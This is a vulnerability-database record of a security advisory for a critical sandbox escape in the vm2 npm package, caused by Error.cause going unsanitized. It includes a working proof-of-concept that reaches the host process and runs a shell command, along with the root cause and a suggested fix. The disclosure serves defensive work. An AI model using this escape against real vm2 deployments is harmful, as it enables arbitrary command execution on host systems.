{"id":"CVE-2026-47686","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-47686","summary":"VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE","details":"**Affected:** vm2 <= 3.11.3\n**CVSS 3.1:** 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n**CWE:** CWE-693 (Protection Mechanism Failure)\n**Prerequisite:** Embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object (e.g., `process`)\n\n## Summary\n\nI found that `handleException()` in `lib/setup-sandbox.js` recursively sanitizes sub-errors for `SuppressedError` and `AggregateError`, but completely ignores the ES2022 `Error.cause` property. When sandbox code catches a host-thrown error carrying a `.cause` that references a host object like `process`, it can traverse that reference to achieve arbitrary command execution on the host.\n\nThe project's own `docs/ATTACKS.md` (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.\n\n## Root Cause\n\nThe `handleException` function (lines 869-959 of `lib/setup-sandbox.js`) walks the prototype chain of caught errors looking for `SuppressedError` and `AggregateError`. When it finds them, it recursively sanitizes their contained errors (`.error`, `.suppressed`, `.errors[]`). For all other error types, it returns `e` directly at line 958 without inspecting `.cause`.\n\n```javascript\nfunction handleException(e, visited) {\n    e = ensureThis(e);\n    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;\n    // ... cycle detection ...\n    while (proto !== null) {\n        if (proto === localSuppressedErrorProto) {\n            e.error = handleException(e.error, visited);      // sanitized\n            e.suppressed = handleException(e.suppressed, visited); // sanitized\n            return e;\n        }\n        if (proto === localAggregateErrorProto) {\n            // sanitizes e.errors[] ...\n            return e;\n        }\n        proto = localReflectGetPrototypeOf(proto);\n    }\n    return e; // .cause is NEVER checked\n}\n```\n\nError.cause was introduced in ES2022 (Node 16.9+). When `handleException` was extended to cover `SuppressedError` (for ES2024 `using` declarations) and `AggregateError`, the `.cause` property was simply overlooked.\n\n## Affected Code\n\n- `lib/setup-sandbox.js:869-959`, the `handleException` function (missing `.cause` handling)\n- `lib/setup-sandbox.js:886`, `ensureThis` wraps the error but does not recurse into `.cause`\n- `docs/ATTACKS.md:54`, Defense Invariant #3 falsely claims `.cause` is covered\n\n## Reproduction\n\nEmbedder code that exposes a function throwing with `.cause` set to `process`:\n\n```javascript\nconst { VM } = require('vm2');\n\nconst vm = new VM({\n    sandbox: {\n        hostFn: () => {\n            throw new Error('fail', { cause: process });\n        }\n    }\n});\n\nconst result = vm.run(`\n    try {\n        hostFn();\n    } catch (e) {\n        // .cause is not sanitized, so we get a direct reference to host process\n        const proc = e.cause;\n        proc.mainModule.require('child_process').execSync('id').toString();\n    }\n`);\n\nconsole.log(result);\n```\n\nVerified output:\n\n```\nuid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\n```\n\nFull RCE confirmed.\n\n## Impact\n\nAny application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains:\n\n- Full host process access (read/write files, spawn processes, network access)\n- Sandbox escape with changed scope (CVSS S:C)\n- No user interaction required\n\nThe prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error('msg', { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.\n\n## Suggested Fix\n\nAdd `.cause` sanitization before the prototype-chain walk, so it applies to all error types:\n\n```javascript\nfunction handleException(e, visited) {\n    e = ensureThis(e);\n    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;\n    if (!visited) visited = new LocalWeakMap();\n    if (apply(localWeakMapGet, visited, [e])) return e;\n    apply(localWeakMapSet, visited, [e, true]);\n\n    // Sanitize .cause on ALL errors (ES2022)\n    try {\n        if ('cause' in e) {\n            e.cause = handleException(e.cause, visited);\n        }\n    } catch (ex) { /* best effort */ }\n\n    let proto = localReflectGetPrototypeOf(e);\n    while (proto !== null) {\n        if (proto === localSuppressedErrorProto) {\n            e.error = handleException(e.error, visited);\n            e.suppressed = handleException(e.suppressed, visited);\n            return e;\n        }\n        if (proto === localAggregateErrorProto) {\n            if (localArrayIsArray(e.errors)) {\n                for (let i = 0; i < e.errors.length; i++) {\n                    e.errors[i] = handleException(e.errors[i], visited);\n                }\n            }\n            return e;\n        }\n        proto = localReflectGetPrototypeOf(proto);\n    }\n    return e;\n}\n```\n\n`docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships.\n\n## Artifacts\n\n| File | Role |\n|------|------|\n| `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` |\n[poc_error_cause_escape.js](https://github.com/user-attachments/files/27952274/poc_error_cause_escape.js)","published":"2026-08-17T17:32:34Z","modified":"2026-08-17T17:45:07.922984446Z","cvss":{"score":9.9,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"vm2","fixedVersion":"3.11.6"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-m283-3h24-438v"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/3.11.6"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-17T17:45:07.922984446Z"}}